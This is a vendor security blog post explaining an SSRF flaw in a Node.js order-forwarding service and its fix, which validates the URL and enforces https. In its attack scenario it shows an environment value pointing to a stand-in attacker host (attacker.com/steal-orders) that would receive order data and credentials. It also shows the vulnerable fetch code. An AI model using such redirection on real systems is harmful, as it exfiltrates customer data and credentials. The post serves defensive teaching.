Back to Blog
critical SEVERITY6 min read

How Server-Side Request Forgery happens in Node.js and how to fix it

The order-flow service in a Node.js e-commerce backend built an outbound fetch() URL by directly concatenating a configurable `sendingOrder.url` value with a query string, with no validation of protocol or destination. This allowed order data—including customer and payment-adjacent information—to be silently redirected to an attacker-controlled endpoint simply by changing a config value or environment variable.

O
By Orbis AppSec
Published September 7, 2026Reviewed September 7, 2026

Answer Summary

This is a Server-Side Request Forgery / unvalidated URL redirection vulnerability (CWE-918) in a Node.js service where `this.settings.order.sendingOrder.url` was concatenated directly into a `fetch()` call without validating the protocol or origin. The fix parses the value with the built-in `URL` class, rejects anything that isn't `https:`, and rebuilds the request URL from the validated `origin` and `pathname` before sending order data.

Vulnerability at a Glance

cweCWE-918
fixParse the URL with Node's `URL` class, enforce `https:` protocol, and rebuild the request from `origin` + `pathname`
riskOrder data can be exfiltrated to an attacker-controlled server by manipulating a configured URL
languageJavaScript (Node.js)
root cause`sendingOrder.url` was concatenated into a `fetch()` call with no protocol or destination validation
vulnerabilityServer-Side Request Forgery / Unsafe URL Construction

Introduction

The order-flow.methods.js file in the orders service handles what happens after an order is saved — including forwarding order details to an external order-processing API. In orderAfterSaveActions(), the code checks whether this.settings.order.sendingOrder.url is configured, builds a Basic Auth header from sendingOrder.login/password, and then calls fetch() on that URL with the order payload attached. The problem: the URL itself was never validated before the application trusted it enough to send order data to it.

This matters because sendingOrder.url isn't a hardcoded, developer-controlled constant — it comes from configuration, and in many deployments that configuration is populated from environment variables (as the PR's exploitation scenario notes: ORDER_SENDING_URL=https://attacker.com/steal-orders). Any code path that lets an operator, a misconfigured CI/CD pipeline, or an attacker with write access to config/environment change that value effectively lets them choose where order data goes.

The Vulnerability Explained

Here's the vulnerable code from services/orders/methods/order-flow.methods.js:

let auth = "Basic " + Buffer.from(this.settings.order.sendingOrder.login + ":" + this.settings.order.sendingOrder.password).toString("base64");
return fetch(this.settings.order.sendingOrder.url+"?action=order", {
    method: "post",
    body:    JSON.stringify({"shopId": process.env.SITE_NAME,"order":orderProcessedResult.order}),
    headers: { "Content-Type": "application/json", "Authorization": auth },

Two things stand out:

  1. No protocol enforcement. sendingOrder.url could be http://, ftp://, or any scheme the fetch implementation happens to accept — including a downgraded, unencrypted http:// endpoint that leaks order data and the Basic Auth header in plaintext over the network.
  2. No destination validation. The string is concatenated with "?action=order" and passed straight to fetch(). There is no check that the resulting URL points to a trusted, expected order-processing host.

Attack scenario: Imagine the order service is deployed with configuration sourced from environment variables (a common pattern in containerized Node.js apps). If an attacker can influence that environment — through a compromised CI pipeline, an exposed admin config panel, or a supply-chain issue in a dependency that reads/writes config — they set:

ORDER_SENDING_URL=https://attacker.com/steal-orders

From that point forward, every completed order triggers orderAfterSaveActions(), which dutifully builds a Basic Auth header and POSTs the full order payload — shopId, order contents, and the Authorization header — to https://attacker.com/steal-orders?action=order. The attacker now receives live order data (and potentially the credentials used to authenticate to the real order API) with zero additional exploitation effort. No injection, no bypass — just a config value the application never questioned.

The Fix

The fix, applied at the exact call site in orderAfterSaveActions(), adds URL parsing and protocol enforcement before the request is ever sent:

Before:

return fetch(this.settings.order.sendingOrder.url+"?action=order", {
    method: "post",
    body:    JSON.stringify({"shopId": process.env.SITE_NAME,"order":orderProcessedResult.order}),
    headers: { "Content-Type": "application/json", "Authorization": auth },

After:

let sendingUrl;
try {
    sendingUrl = new URL(this.settings.order.sendingOrder.url);
} catch(e) {
    this.logger.error("orders.orderAfterSaveActions() - invalid sendingOrder URL:", e);
    return orderProcessedResult;
}
if (sendingUrl.protocol !== "https:") {
    this.logger.error("orders.orderAfterSaveActions() - sendingOrder URL must use https protocol");
    return orderProcessedResult;
}
return fetch(sendingUrl.origin + sendingUrl.pathname + "?action=order", {
    method: "post",
    body:    JSON.stringify({"shopId": process.env.SITE_NAME,"order":orderProcessedResult.order}),
    headers: { "Content-Type": "application/json", "Authorization": auth },

Three concrete improvements:

  • Structured parsing instead of string concatenation. Using Node's built-in URL class means malformed, ambiguous, or trick URLs (e.g., embedded credentials, unexpected schemes) are rejected outright via the caught exception, rather than silently passed to fetch().
  • Explicit protocol allowlisting. The check sendingUrl.protocol !== "https:" guarantees order data — and the Basic Auth header — can never be sent over plaintext HTTP or an unexpected scheme, closing off downgrade and credential-leak scenarios.
  • Rebuilding the URL from validated components. Rather than reusing the raw, attacker-influenceable string, the fetch target is reconstructed as sendingUrl.origin + sendingUrl.pathname + "?action=order", discarding any extra query parameters, fragments, or userinfo that could have been smuggled into the original value.

The behavior for legitimate configurations is unchanged — a correctly configured https:// order endpoint still works exactly as before — but any misconfigured or malicious URL now fails safely, logs an error, and returns orderProcessedResult instead of leaking data.

Prevention & Best Practices

  • Never trust configuration-sourced URLs by default. Environment variables and settings objects are still an input trust boundary — treat them the same way you'd treat user input when they influence outbound network calls.
  • Parse before you request. Always construct outbound URLs with new URL() (or a framework equivalent) instead of string concatenation, so you can inspect protocol, hostname, and pathname independently.
  • Enforce an allowlist, not just a protocol. This fix enforces https:, which blocks plaintext leakage; for even stronger protection, consider also validating sendingUrl.hostname against a known set of approved order-processing domains.
  • Fail closed. Notice the fix returns orderProcessedResult on both the parse failure and the protocol failure — the order flow continues without leaking data, rather than throwing an unhandled exception or, worse, sending the request anyway.
  • Detection tooling: Static analysis / taint-tracking tools (and Semgrep rules targeting fetch/http.request sinks) can flag concatenated URLs built from configuration or environment values, exactly as this pattern was caught here.

This class of issue maps to CWE-918 (Server-Side Request Forgery) and is covered by the OWASP SSRF Prevention Cheat Sheet.

Key Takeaways

  • The orderAfterSaveActions() method in order-flow.methods.js now validates sendingOrder.url with new URL() before using it in fetch() — never rebuild fetch targets from raw config strings.
  • Enforcing sendingUrl.protocol !== "https:" closes off both plaintext downgrade attacks and non-HTTP scheme abuse in one check.
  • Configuration values like ORDER_SENDING_URL are an attacker-reachable input surface if config/environment can be influenced — treat them with the same suspicion as request parameters.
  • Rebuilding the request URL from origin + pathname (rather than reusing the original string) strips out any smuggled userinfo, extra query parameters, or fragments.
  • Failing closed (returning orderProcessedResult on validation failure) prevents both crashes and silent data exfiltration when the URL is invalid.

How Orbis AppSec Detected This

  • Source: Configuration value this.settings.order.sendingOrder.url, populated from environment/config (e.g., ORDER_SENDING_URL)
  • Sink: fetch(this.settings.order.sendingOrder.url+"?action=order", ...) in services/orders/methods/order-flow.methods.js:28
  • Missing control: No parsing/validation of the URL's protocol or destination before it was used to send order data and Authorization headers
  • CWE: CWE-918 (Server-Side Request Forgery)
  • Fix: Parse the configured URL with new URL(), reject non-https: protocols, and rebuild the fetch target from sendingUrl.origin + sendingUrl.pathname before sending order data

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

A single unvalidated concatenation — this.settings.order.sendingOrder.url+"?action=order" — was all it took to turn a legitimate order-forwarding feature into a potential data exfiltration channel. The fix didn't require rewriting the order flow; it required trusting the URL less and validating it more, using tools Node.js already provides. Any time your application builds an outbound request from a configured or environment-sourced URL, ask: what happens if this value is wrong, or malicious? In this case, the answer is now "the request never leaves the building."

References

Frequently Asked Questions

What is Server-Side Request Forgery (SSRF)?

SSRF is a vulnerability where an application makes an outbound HTTP request to a destination that is influenced by untrusted or under-validated input, allowing an attacker to redirect that request to a server they control.

How do you prevent SSRF in Node.js?

Validate any URL used in a `fetch()` or `http.request()` call with the built-in `URL` class, enforce an allowed protocol (e.g., `https:`), and ideally restrict requests to a known allowlist of hosts rather than trusting configuration values blindly.

What CWE is SSRF?

SSRF is classified as CWE-918 (Server-Side Request Forgery). Related weaknesses include CWE-20 (Improper Input Validation) when the root cause is unchecked input.

Is checking for "https://" as a string prefix enough to prevent SSRF?

No. String prefix checks can be bypassed with malformed URLs, userinfo tricks, or redirects; proper parsing with `new URL()` and validating the resulting `protocol`/`hostname` fields is required.

Can static analysis detect SSRF?

Yes, static analysis and taint-tracking tools can flag URLs built from configuration or user input that flow into `fetch`, `http.request`, or `execSync`-style sinks without validation, which is how this issue was surfaced.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #78

Related Articles

medium

How gitlab.bandit.B501 happens in Python and how to fix it

The `proverbia-scraper.py` script disabled TLS certificate verification on its `requests.get()` call and silenced the resulting security warnings, exposing the scraper to man-in-the-middle attacks. The fix removes the `verify=False` flag and the warning suppression, restoring proper certificate validation while keeping the existing 30-second timeout intact.

high

How Server-Side Request Forgery (SSRF) happens in Node.js and how to fix it

A critical Server-Side Request Forgery (SSRF) vulnerability in the ldfetch CLI tool allowed attackers to access internal cloud metadata services and local files through unvalidated URL arguments. The fix introduces strict protocol validation with an explicit opt-in flag for local file access, transforming a dangerous default into a secure-by-design implementation.

high

How Server-Side Request Forgery (SSRF) happens in Go HTTP handlers and how to fix it

A Server-Side Request Forgery (SSRF) vulnerability was discovered in `internal/web/controller/server.go` where the `applySubTemplate` endpoint accepted arbitrary URLs from user input and passed them directly to `serverService.ApplySubTemplateFromGithub()` without any host validation. An attacker could exploit this to make the server issue HTTP requests to internal network resources, cloud metadata endpoints, or redirect-controlled destinations. The fix introduces a strict allowlist that restrict

critical

How SSRF via Vulnerable Dependency Versions Happens in Node.js and How to Fix It

A permissive semver range in `package.json` allowed npm to install axios versions vulnerable to SSRF (CVE-2024-39338). By bumping the minimum version from `^1.6.0` to `^1.7.4`, all downstream consumers of this SDK are now protected from server-side request forgery attacks. This critical fix required changing just one line in the dependency manifest.

critical

How Server-Side Request Forgery (SSRF) happens in JavaScript and how to fix it

A critical Server-Side Request Forgery (SSRF) vulnerability was discovered in playground.html where the `__forEachRdfMessageChunkFromUrl` function fetched user-controlled URLs without validating against private IP ranges or internal network addresses. The fix introduces a comprehensive `__isBlockedFetchUrl` validation function that blocks requests to localhost, private IP ranges, and link-local addresses before any fetch occurs.

critical

How SQL Injection happens in PHP bulk email systems and how to fix it

A critical SQL injection vulnerability in `admin/utilities/bulkEmailSystem.php` allowed attackers to inject arbitrary SQL through unvalidated database names passed from user input. The fix implements strict input validation using regex pattern matching to ensure only safe database identifiers are processed, preventing exploitation of the bulk email functionality.